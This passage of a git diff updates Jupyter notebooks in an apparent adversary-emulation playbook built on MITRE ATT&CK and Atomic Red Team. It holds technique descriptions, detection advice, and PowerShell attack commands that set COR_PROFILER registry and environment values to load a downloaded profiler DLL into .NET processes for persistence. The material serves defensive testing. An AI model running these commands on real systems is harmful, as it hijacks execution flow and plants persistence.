"05f62062", + "id": "b9ba75ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ef52590d", + "id": "de9d9225", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll -Force | Out-Null\n```" + "```powershell\nWrite-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"{09108e71-974c-4010-89cb-acf471ae9e2c}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\" -Force | Out-Null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "28aab9e7", + "id": "ca0a35c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c9d36e18", + "id": "c774cb02", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d5c42f6a", + "id": "95ce1470", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "fe219629", + "id": "21e43728", "metadata": {}, - "source": "### Atomic Test #3 - Registry-free process scope COR_PROFILER\nCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{file_name} must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" + "source": "### Atomic Test #3 - Registry-free process scope COR_PROFILER\nCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \"#{file_name}\" must be present\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1dcf7e50", + "id": "6e31d9fa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2d45568b", + "id": "0d699812", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'\n$env:COR_PROFILER_PATH = 'PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll'\nPOWERSHELL -c 'Start-Sleep 1'\n```" + "```powershell\n$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'\n$env:COR_PROFILER_PATH = '\"PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll\"'\nPOWERSHELL -c 'Start-Sleep 1'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "680586d5", + "id": "272d31db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2e8c9c85", + "id": "db137bf0", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ae60da1d", + "id": "c45e4841", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.012 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "26b50da8", + "id": "595c7472", "metadata": {}, "source": "## Detection\nFor detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables." } @@ -157,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.013.ipynb b/playbook/tactics/persistence/T1574.013.ipynb index 09b39698..01a0e990 100644 --- a/playbook/tactics/persistence/T1574.013.ipynb +++ b/playbook/tactics/persistence/T1574.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e77245b3", + "id": "9d0fee02", "metadata": {}, "source": "# T1574.013 - KernelCallbackTable\nAdversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process." }, { "cell_type": "markdown", - "id": "c47ebb1c", + "id": "f26a5486", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "40f2200b", + "id": "e91383ed", "metadata": {}, "source": "## Detection\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1574.ipynb b/playbook/tactics/persistence/T1574.ipynb index c80cc30a..04a6536c 100644 --- a/playbook/tactics/persistence/T1574.ipynb +++ b/playbook/tactics/persistence/T1574.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "f452ea5d", + "id": "c28fa54c", "metadata": {}, "source": "# T1574 - Hijack Execution Flow\nAdversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads." }, { "cell_type": "markdown", - "id": "ac2f02d1", + "id": "788f6524", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ae42f8df", + "id": "e70c9225", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data." }, { "cell_type": "markdown", - "id": "8fc2b1a8", + "id": "f486f4c8", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nA defender can block execution of untrusted software.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1653.ipynb b/playbook/tactics/persistence/T1653.ipynb new file mode 100644 index 00000000..2e0bd6c7 --- /dev/null +++ b/playbook/tactics/persistence/T1653.ipynb @@ -0,0 +1,38 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "7aa5d219", + "metadata": {}, + "source": "# T1653 - Power Settings\nAdversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)" + }, + { + "cell_type": "markdown", + "id": "244784ca", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + }, + { + "cell_type": "markdown", + "id": "343011bc", + "metadata": {}, + "source": "## Detection\nCommand-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \n" + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation.ipynb b/playbook/tactics/privilege-escalation.ipynb index c53d3dbd..3c2a6be7 100644 --- a/playbook/tactics/privilege-escalation.ipynb +++ b/playbook/tactics/privilege-escalation.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "1eca593b", + "id": "ed9c3173", "metadata": {}, - "source": "# Privilege Escalation\nThe adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1546.016 | Installer Packages | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\nT1574.013 | KernelCallbackTable | Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\nT1055.015 | ListPlanting | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\nT1547.015 | Login Items | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\nT1611 | Escape to Host | Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.\nT1053.007 | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\nT1484.002 | Domain Trust Modification | Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \nT1484.001 | Group Policy Modification | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\nT1547.014 | Active Setup | Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1053.006 | Systemd Timers | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\nT1547.012 | Print Processors | Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\nT1574.012 | COR_PROFILER | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The 